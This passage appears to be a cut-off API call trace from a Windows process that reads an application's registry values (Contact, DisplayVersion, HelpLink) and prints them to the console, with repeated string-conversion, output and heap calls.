dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.298] GetConsoleOutputCP () returned 0x1b5 [0150.298] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.298] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.298] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.298] __iob_func () returned 0x7fefd702a80 [0150.298] _fileno (_File=0x7fefd702ab0) returned 1 [0150.298] _errno () returned 0x204bb0 [0150.298] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.298] _errno () returned 0x204bb0 [0150.298] GetFileType (hFile=0x50) returned 0x1 [0150.299] lstrlenW (lpString="REG_SZ") returned 6 [0150.299] GetConsoleOutputCP () returned 0x1b5 [0150.299] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.299] GetConsoleOutputCP () returned 0x1b5 [0150.299] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.299] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.299] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.299] __iob_func () returned 0x7fefd702a80 [0150.299] _fileno (_File=0x7fefd702ab0) returned 1 [0150.299] _errno () returned 0x204bb0 [0150.299] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.299] _errno () returned 0x204bb0 [0150.299] GetFileType (hFile=0x50) returned 0x1 [0150.299] lstrlenW (lpString=" ") returned 4 [0150.299] GetConsoleOutputCP () returned 0x1b5 [0150.299] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.299] GetConsoleOutputCP () returned 0x1b5 [0150.300] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.300] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.300] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.300] __iob_func () returned 0x7fefd702a80 [0150.300] _fileno (_File=0x7fefd702ab0) returned 1 [0150.300] _errno () returned 0x204bb0 [0150.300] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.300] _errno () returned 0x204bb0 [0150.300] GetFileType (hFile=0x50) returned 0x1 [0150.300] lstrlenW (lpString=" ") returned 3 [0150.300] GetConsoleOutputCP () returned 0x1b5 [0150.300] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0150.300] GetConsoleOutputCP () returned 0x1b5 [0150.300] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 3 [0150.300] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0150.300] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.300] __iob_func () returned 0x7fefd702a80 [0150.300] _fileno (_File=0x7fefd702ab0) returned 1 [0150.300] _errno () returned 0x204bb0 [0150.300] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.300] _errno () returned 0x204bb0 [0150.300] GetFileType (hFile=0x50) returned 0x1 [0150.300] lstrlenW (lpString="\n") returned 1 [0150.300] GetConsoleOutputCP () returned 0x1b5 [0150.301] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.301] GetConsoleOutputCP () returned 0x1b5 [0150.301] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.301] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.301] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.301] GetProcessHeap () returned 0x3c0000 [0150.301] GetProcessHeap () returned 0x3c0000 [0150.301] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0150.301] GetProcessHeap () returned 0x3c0000 [0150.301] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0xc [0150.301] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290 | out: hHeap=0x3c0000) returned 1 [0150.301] RegEnumValueW (in: hKey=0x5c, dwIndex=0x2, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Contact", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.301] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x24) returned 0x0 [0150.301] GetProcessHeap () returned 0x3c0000 [0150.301] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x26) returned 0x3d5c60 [0150.301] GetProcessHeap () returned 0x3c0000 [0150.301] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c60) returned 1 [0150.301] GetProcessHeap () returned 0x3c0000 [0150.301] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c60) returned 0x26 [0150.301] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d5c60, pcbData=0x29f780*=0x24 | out: pdwType=0x29f700*=0x1, pvData="Customer Support", pcbData=0x29f780*=0x22) returned 0x0 [0150.301] __iob_func () returned 0x7fefd702a80 [0150.301] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.301] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.301] _fileno (_File=0x7fefd702ab0) returned 1 [0150.301] _errno () returned 0x204bb0 [0150.301] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.302] _errno () returned 0x204bb0 [0150.302] GetFileType (hFile=0x50) returned 0x1 [0150.302] lstrlenW (lpString=" ") returned 4 [0150.302] GetConsoleOutputCP () returned 0x1b5 [0150.302] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.302] GetConsoleOutputCP () returned 0x1b5 [0150.302] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.302] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.302] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.302] lstrlenW (lpString="Contact") returned 7 [0150.302] __iob_func () returned 0x7fefd702a80 [0150.302] _fileno (_File=0x7fefd702ab0) returned 1 [0150.302] _errno () returned 0x204bb0 [0150.302] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.302] _errno () returned 0x204bb0 [0150.302] GetFileType (hFile=0x50) returned 0x1 [0150.302] lstrlenW (lpString="Contact") returned 7 [0150.302] GetConsoleOutputCP () returned 0x1b5 [0150.302] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0150.302] GetConsoleOutputCP () returned 0x1b5 [0150.303] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Contact", lpUsedDefaultChar=0x0) returned 7 [0150.303] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0150.303] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.303] __iob_func () returned 0x7fefd702a80 [0150.303] _fileno (_File=0x7fefd702ab0) returned 1 [0150.303] _errno () returned 0x204bb0 [0150.303] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.303] _errno () returned 0x204bb0 [0150.303] GetFileType (hFile=0x50) returned 0x1 [0150.303] lstrlenW (lpString=" ") returned 4 [0150.303] GetConsoleOutputCP () returned 0x1b5 [0150.303] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.303] GetConsoleOutputCP () returned 0x1b5 [0150.303] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.303] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.303] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.303] __iob_func () returned 0x7fefd702a80 [0150.303] _fileno (_File=0x7fefd702ab0) returned 1 [0150.303] _errno () returned 0x204bb0 [0150.303] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.303] _errno () returned 0x204bb0 [0150.303] GetFileType (hFile=0x50) returned 0x1 [0150.303] lstrlenW (lpString="REG_SZ") returned 6 [0150.303] GetConsoleOutputCP () returned 0x1b5 [0150.304] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.304] GetConsoleOutputCP () returned 0x1b5 [0150.304] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.304] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.304] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.304] __iob_func () returned 0x7fefd702a80 [0150.304] _fileno (_File=0x7fefd702ab0) returned 1 [0150.304] _errno () returned 0x204bb0 [0150.304] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.304] _errno () returned 0x204bb0 [0150.304] GetFileType (hFile=0x50) returned 0x1 [0150.304] lstrlenW (lpString=" ") returned 4 [0150.304] GetConsoleOutputCP () returned 0x1b5 [0150.304] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.304] GetConsoleOutputCP () returned 0x1b5 [0150.304] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.304] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.304] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.304] __iob_func () returned 0x7fefd702a80 [0150.304] _fileno (_File=0x7fefd702ab0) returned 1 [0150.304] _errno () returned 0x204bb0 [0150.305] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.305] _errno () returned 0x204bb0 [0150.305] GetFileType (hFile=0x50) returned 0x1 [0150.305] lstrlenW (lpString="Customer Support") returned 16 [0150.305] GetConsoleOutputCP () returned 0x1b5 [0150.305] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Customer Support", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0150.305] GetConsoleOutputCP () returned 0x1b5 [0150.305] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Customer Support", cchWideChar=16, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Customer Support", lpUsedDefaultChar=0x0) returned 16 [0150.305] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 16 [0150.305] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.305] __iob_func () returned 0x7fefd702a80 [0150.305] _fileno (_File=0x7fefd702ab0) returned 1 [0150.305] _errno () returned 0x204bb0 [0150.305] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.305] _errno () returned 0x204bb0 [0150.305] GetFileType (hFile=0x50) returned 0x1 [0150.305] lstrlenW (lpString="\n") returned 1 [0150.305] GetConsoleOutputCP () returned 0x1b5 [0150.305] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.305] GetConsoleOutputCP () returned 0x1b5 [0150.306] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.306] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.306] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.306] GetProcessHeap () returned 0x3c0000 [0150.306] GetProcessHeap () returned 0x3c0000 [0150.306] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c60) returned 1 [0150.306] GetProcessHeap () returned 0x3c0000 [0150.306] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c60) returned 0x26 [0150.306] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c60 | out: hHeap=0x3c0000) returned 1 [0150.306] RegEnumValueW (in: hKey=0x5c, dwIndex=0x3, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayVersion", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.306] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x10) returned 0x0 [0150.306] GetProcessHeap () returned 0x3c0000 [0150.306] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x12) returned 0x3df290 [0150.306] GetProcessHeap () returned 0x3c0000 [0150.306] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0150.306] GetProcessHeap () returned 0x3c0000 [0150.306] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x12 [0150.306] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3df290, pcbData=0x29f780*=0x10 | out: pdwType=0x29f700*=0x1, pvData="10.0.0", pcbData=0x29f780*=0xe) returned 0x0 [0150.306] __iob_func () returned 0x7fefd702a80 [0150.306] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.306] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.306] _fileno (_File=0x7fefd702ab0) returned 1 [0150.306] _errno () returned 0x204bb0 [0150.306] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.306] _errno () returned 0x204bb0 [0150.306] GetFileType (hFile=0x50) returned 0x1 [0150.306] lstrlenW (lpString=" ") returned 4 [0150.306] GetConsoleOutputCP () returned 0x1b5 [0150.306] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.307] GetConsoleOutputCP () returned 0x1b5 [0150.307] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.307] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.307] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.307] lstrlenW (lpString="DisplayVersion") returned 14 [0150.307] __iob_func () returned 0x7fefd702a80 [0150.307] _fileno (_File=0x7fefd702ab0) returned 1 [0150.307] _errno () returned 0x204bb0 [0150.307] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.307] _errno () returned 0x204bb0 [0150.307] GetFileType (hFile=0x50) returned 0x1 [0150.307] lstrlenW (lpString="DisplayVersion") returned 14 [0150.307] GetConsoleOutputCP () returned 0x1b5 [0150.307] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0150.307] GetConsoleOutputCP () returned 0x1b5 [0150.307] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayVersion", lpUsedDefaultChar=0x0) returned 14 [0150.307] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0150.307] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.307] __iob_func () returned 0x7fefd702a80 [0150.307] _fileno (_File=0x7fefd702ab0) returned 1 [0150.307] _errno () returned 0x204bb0 [0150.307] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.307] _errno () returned 0x204bb0 [0150.308] GetFileType (hFile=0x50) returned 0x1 [0150.308] lstrlenW (lpString=" ") returned 4 [0150.308] GetConsoleOutputCP () returned 0x1b5 [0150.308] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.308] GetConsoleOutputCP () returned 0x1b5 [0150.308] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.308] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.308] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.308] __iob_func () returned 0x7fefd702a80 [0150.308] _fileno (_File=0x7fefd702ab0) returned 1 [0150.308] _errno () returned 0x204bb0 [0150.308] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.308] _errno () returned 0x204bb0 [0150.308] GetFileType (hFile=0x50) returned 0x1 [0150.308] lstrlenW (lpString="REG_SZ") returned 6 [0150.308] GetConsoleOutputCP () returned 0x1b5 [0150.308] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.308] GetConsoleOutputCP () returned 0x1b5 [0150.308] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.308] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.308] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.309] __iob_func () returned 0x7fefd702a80 [0150.309] _fileno (_File=0x7fefd702ab0) returned 1 [0150.309] _errno () returned 0x204bb0 [0150.309] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.309] _errno () returned 0x204bb0 [0150.309] GetFileType (hFile=0x50) returned 0x1 [0150.309] lstrlenW (lpString=" ") returned 4 [0150.309] GetConsoleOutputCP () returned 0x1b5 [0150.309] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.309] GetConsoleOutputCP () returned 0x1b5 [0150.309] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.309] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.309] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.309] __iob_func () returned 0x7fefd702a80 [0150.309] _fileno (_File=0x7fefd702ab0) returned 1 [0150.309] _errno () returned 0x204bb0 [0150.309] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.309] _errno () returned 0x204bb0 [0150.309] GetFileType (hFile=0x50) returned 0x1 [0150.309] lstrlenW (lpString="10.0.0") returned 6 [0150.309] GetConsoleOutputCP () returned 0x1b5 [0150.309] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="10.0.0", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.310] GetConsoleOutputCP () returned 0x1b5 [0150.310] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="10.0.0", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="10.0.0", lpUsedDefaultChar=0x0) returned 6 [0150.310] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.310] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.310] __iob_func () returned 0x7fefd702a80 [0150.310] _fileno (_File=0x7fefd702ab0) returned 1 [0150.310] _errno () returned 0x204bb0 [0150.310] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.310] _errno () returned 0x204bb0 [0150.310] GetFileType (hFile=0x50) returned 0x1 [0150.310] lstrlenW (lpString="\n") returned 1 [0150.310] GetConsoleOutputCP () returned 0x1b5 [0150.310] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.310] GetConsoleOutputCP () returned 0x1b5 [0150.310] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.310] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.310] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.310] GetProcessHeap () returned 0x3c0000 [0150.310] GetProcessHeap () returned 0x3c0000 [0150.310] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0150.310] GetProcessHeap () returned 0x3c0000 [0150.310] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x12 [0150.311] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290 | out: hHeap=0x3c0000) returned 1 [0150.311] RegEnumValueW (in: hKey=0x5c, dwIndex=0x4, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpLink", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.311] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4e) returned 0x0 [0150.311] GetProcessHeap () returned 0x3c0000 [0150.311] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x50) returned 0x3db830 [0150.311] GetProcessHeap () returned 0x3c0000 [0150.311] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.311] 